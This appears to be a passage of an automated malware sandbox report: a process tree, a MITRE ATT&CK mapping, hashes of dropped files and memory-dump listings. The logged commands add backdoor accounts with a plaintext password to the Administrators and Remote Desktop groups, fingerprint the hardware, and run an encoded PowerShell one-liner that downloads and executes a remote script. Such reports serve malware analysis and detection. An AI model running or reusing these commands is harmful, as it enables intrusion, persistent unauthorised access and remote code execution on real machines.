C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" updwin /ADD
3⤵
PID:392

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
1⤵
PID:1444

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
2⤵
PID:1912

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
3⤵
PID:1540

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" updwin /ADD
1⤵
PID:1100

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" updwin /ADD
2⤵
PID:916

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" updwin /ADD
3⤵
PID:1620

C:\Windows\System32\cmd.exe
cmd /C net.exe user updwin ibcLpLqB
1⤵
PID:1356

C:\Windows\system32\net.exe
net.exe user updwin ibcLpLqB
2⤵
PID:1600

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user updwin ibcLpLqB
3⤵
PID:292

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:460

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1952

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:540

C:\Windows\System32\Wbem\WMIC.exe
wmic CPU get NAME
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1224

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1668

C:\Windows\system32\cmd.exe
cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
2⤵
PID:980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
3⤵
- Blacklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1052

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES313E.tmp
MD5
7261a708ffd78e9400bf926ba35534c7

SHA1
a60419a32f6cec0de56c38368b50c12bd16220c1

SHA256
b566074992bb2400ef0b048eb1dd1ba059d9b9d8c7eecc20f4c3deddb270c109

SHA512
200059a6122f7076057846046ec29523c605dce58eaa3b85817d9f034ec0f2762ad8ca8764fa80b5de8abbabf1334e76dcec3ffb0176bb2637a2a59e6b563fd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.ps1
MD5
dac6b25db50155c0c78d5bf64fb95fa3

SHA1
9e49c8f7a6df94acdefd0daa4c330f92f6d01d0d

SHA256
6967c2ea21792d390309dfd66d56b19f89d89ba4a6fb8f39f10a8212d5e70eaf

SHA512
679b3706f2c03898afb4250b1f51d5e0e7187ed923f7d7cc3a06c5f9a1e5b18bbbc46e9c2c9abd0b4b42e5e3a5b2dd668e3057063562b874119c42e855292868

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.zip
MD5
7cac19b2868c41555db4b71219217f9b

SHA1
d6f77db578db3c5c572c3a944d9072ed00560dcb

SHA256
d8f648e2952466c25343b095ed14591b25b29d0d1c391ca019a8d8f0a39b934a

SHA512
5bafea5eed1ba0493188bb79eafda47a141281fb3258be0dfe08b6b78e5dcf731fd2142b94f95b3203fa6daad27fff1f4495ac7bdebe6eb8a9cbe31b16bfc7b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\grbppf0q\grbppf0q.dll
MD5
0c490ce7a6b73184b0b5278f5aacaf2c

SHA1
893c5880833f6a4885dba15d51e909f95f340e71

SHA256
615dc4c71aba291d2ced322a4d555deff513ac9b741eb6b66fd8851b47b74e63

SHA512
a5b7d691e0f5bf512b6a0d6f9cc1069165bc70f5c088d09be54105e62df94ce39b589cda02cbef0cbee9e64322ede5076d2a6f5eafb757ad072091ba3769199d

Download Submit
C:\Windows\system32\rfxvmt.dll
MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\grbppf0q\CSCA2FC6678DAEE47CDA4BB873730E22194.TMP
MD5
93287916571b71592295cb7840532dc5

SHA1
b37054cf6ed6020c3e2ca74d7757b533f0e6f4e5

SHA256
c39d3257eb57ef618753aa7d8119b0bb7b3bd786e080124c13878c0708f9ae56

SHA512
cf199e14ea79734b31f02f6b29be7c304a6cc67dbfd9b2fdb0f8ff66d8c9a8ebfb3e677b5394c87107ca0018921ca9560c78f5e9781cedafacf543eeced47e31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\grbppf0q\grbppf0q.0.cs
MD5
6f235215132cdebacd0f793fe970d0e3

SHA1
2841e44c387ed3b6f293611992f1508fe9b55b89

SHA256
ccad602538354ee5bbc78ab935207c36ba9910da1a7b5a10ff455e34e15f15ec

SHA512
a14657bc5be862a96c1826347b551e07b47ffa6ffd7e12fbfc3437b9a48e8b8e020ae71b8ef836c357d9db6c065da962a6141272d9bc58b76a9eb9c11553d44e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\grbppf0q\grbppf0q.cmdline
MD5
8f50ff5ccaa6bfc250371e26fcd4fc92

SHA1
9b9eb412509f63b1d6448dafe15f6297ad55095a

SHA256
3aae583b0baf4a5afd0eff5915df89def228a9a845da6e5f901132a2e42941c1

SHA512
ecd24e3c9b79ef2dfcf8bafe9be746af3d6374df409c7cd98bb6bdd746bfc0aa06eba7ccebe3ff8e3cd72e1089bbad9f00e62566186a19c777bbb4e91817aa2e

Download Submit
\Windows\Branding\mediasrv.png
MD5
eeb448ea2709c57b9ea2e223d0c79396

SHA1
38331dd027386151ee37a29a7820570a76427b02

SHA256
c82a8ca8997348bc1631637799d8c88e33df3b64d23fdb006a1afdb5e0170272

SHA512
c133096ce90e5693669c056a31870b982b162196508babae4d1d9eb4055f2096af9460164d68885693af56389a42977f4193906da1d19f457e26187a46a5e3fc

Download Submit
\Windows\Branding\mediasvc.png
MD5
bb873bd05a47f502ee4ed3c4ea749a4f

SHA1
e55a6bf49a4833fb9e9b123df39dac9bf507f75a

SHA256
a6a28143f81b007c6853cc80829c16d2aadbe427abe1408276b558f34904900a

SHA512
ce2a22e5e78d3f01a6880a48153f6d3ba8ff025d7bbfe8949b7742a5b7ffa9e44484027353bb80b70e8cad8181dc26b6aabe637b5f7fd2aa4a99cd880d758548

Download Submit
memory/292-76-0x0000000000000000-mapping.dmp

Download
memory/300-10-0x0000000000000000-mapping.dmp

Download
memory/392-67-0x0000000000000000-mapping.dmp

Download
memory/460-66-0x0000000000000000-mapping.dmp

Download
memory/476-46-0x0000000000000000-mapping.dmp

Download
memory/540-53-0x0000000000000000-mapping.dmp

Download
memory/672-39-0x0000000000000000-mapping.dmp

Download
memory/812-57-0x0000000000000000-mapping.dmp

Download
memory/880-88-0x0000000000000000-mapping.dmp

Download
memory/880-48-0x0000000000000000-mapping.dmp

Download
memory/916-72-0x0000000000000000-mapping.dmp

Download
memory/916-40-0x0000000000000000-mapping.dmp

Download
memory/980-80-0x0000000000000000-mapping.dmp

Download
memory/980-49-0x0000000000000000-mapping.dmp

Download
memory/1000-56-0x0000000000000000-mapping.dmp

Download
memory/1052-100-0x0000000001320000-0x0000000001321000-memory.dmp

Filesize
4KB

Download
memory/1052-109-0x0000000019F20000-0x0000000019F21000-memory.dmp

Filesize
4KB

Download
memory/1052-82-0x000007FEF5580000-0x000007FEF5F6C000-memory.dmp

Filesize
9.9MB

Download
memory/1052-101-0x00000000193D0000-0x00000000193D1000-memory.dmp

Filesize
4KB

Download
memory/1052-108-0x00000000193C0000-0x00000000193C1000-memory.dmp

Filesize
4KB

Download
memory/1052-98-0x0000000001290000-0x0000000001291000-memory.dmp

Filesize
4KB

Download
memory/1052-97-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

Filesize
4KB

Download
memory/1052-99-0x00000000193B0000-0x00000000193B1000-memory.dmp

Filesize
4KB

Download
memory/1052-116-0x00000000194A0000-0x00000000194A1000-memory.dmp

Filesize
4KB

Download
memory/1052-64-0x0000000000000000-mapping.dmp

Download
memory/1052-92-0x0000000000F80000-0x0000000000F81000-memory.dmp

Filesize
4KB

Download
memory/1052-81-0x0000000000000000-mapping.dmp

Download
memory/1052-117-0x000000001AC10000-0x000000001AC11000-memory.dmp

Filesize
4KB

Download
memory/1164-63-0x0000000000000000-mapping.dmp

Download
memory/1224-79-0x0000000000000000-mapping.dmp

Download
memory/1236-33-0x0000000001F70000-0x0000000001F71000-memory.dmp

Filesize
4KB

Download
memory/1236-17-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/1236-2-0x0000000000000000-mapping.dmp

Download
memory/1236-3-0x000007FEF5580000-0x000007FEF5F6C000-memory.dmp

Filesize
9.9MB

Download
memory/1236-4-0x0000000001FB0000-0x0000000001FB1000-memory.dmp

Filesize
4KB

Download
memory/1236-5-0x000000001ADA0000-0x000000001ADA1000-memory.dmp

Filesize
4KB

Download
memory/1236-6-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/1236-7-0x0000000001D40000-0x0000000001D41000-memory.dmp

Filesize
4KB

Download
memory/1236-9-0x000000001C3C0000-0x000000001C3C1000-memory.dmp

Filesize
4KB

Download
memory/1236-18-0x0000000002760000-0x0000000002761000-memory.dmp

Filesize
4KB

Download
memory/1236-21-0x000000001AB00000-0x000000001AB01000-memory.dmp

Filesize
4KB

Download
memory/1236-34-0x0000000001F80000-0x0000000001F81000-memory.dmp

Filesize
4KB

Download
memory/1236-35-0x000000001B8D0000-0x000000001B8D1000-memory.dmp

Filesize
4KB

Download
memory/1236-38-0x0000000001F40000-0x0000000001F50000-memory.dmp

Filesize
64KB

Download
memory/1336-45-0x0000000000000000-mapping.dmp

Download
memory/1376-47-0x0000000000000000-mapping.dmp

Download
memory/1440-55-0x0000000000000000-mapping.dmp

Download
memory/1444-54-0x0000000000000000-mapping.dmp

Download
memory/1540-70-0x0000000000000000-mapping.dmp

Download
memory/1572-58-0x0000000000000000-mapping.dmp

Download
memory/1596-44-0x0000000000000000-mapping.dmp

Download
memory/1600-43-0x0000000000000000-mapping.dmp

Download
memory/1600-75-0x0000000000000000-mapping.dmp

Download
memory/1604-61-0x0000000000000000-mapping.dmp

Download
memory/1620-73-0x0000000000000000-mapping.dmp

Download
memory/1636-52-0x0000000000000000-mapping.dmp

Download
memory/1664-42-0x0000000000000000-mapping.dmp

Download
memory/1684-41-0x0000000000000000-mapping.dmp

Download
memory/1692-13-0x0000000000000000-mapping.dmp

Download
memory/1692-50-0x0000000000000000-mapping.dmp

Download
memory/1700-0-0x00000000010F0000-0x000000000142D000-memory.dmp

Filesize
3.2MB

Download
memory/1700-1-0x0000000001430000-0x0000000001441000-memory.dmp

Filesize
68KB

Download
memory/1724-62-0x0000000000000000-mapping.dmp

Download
memory/1912-51-0x0000000000000000-mapping.dmp

Download
memory/1912-69-0x0000000000000000-mapping.dmp

Download
memory/1952-78-0x0000000000000000-mapping.dmp

Download
memory/1952-87-0x0000000000000000-mapping.dmp

Download
memory/2028-36-0x0000000000000000-mapping.dmp

Download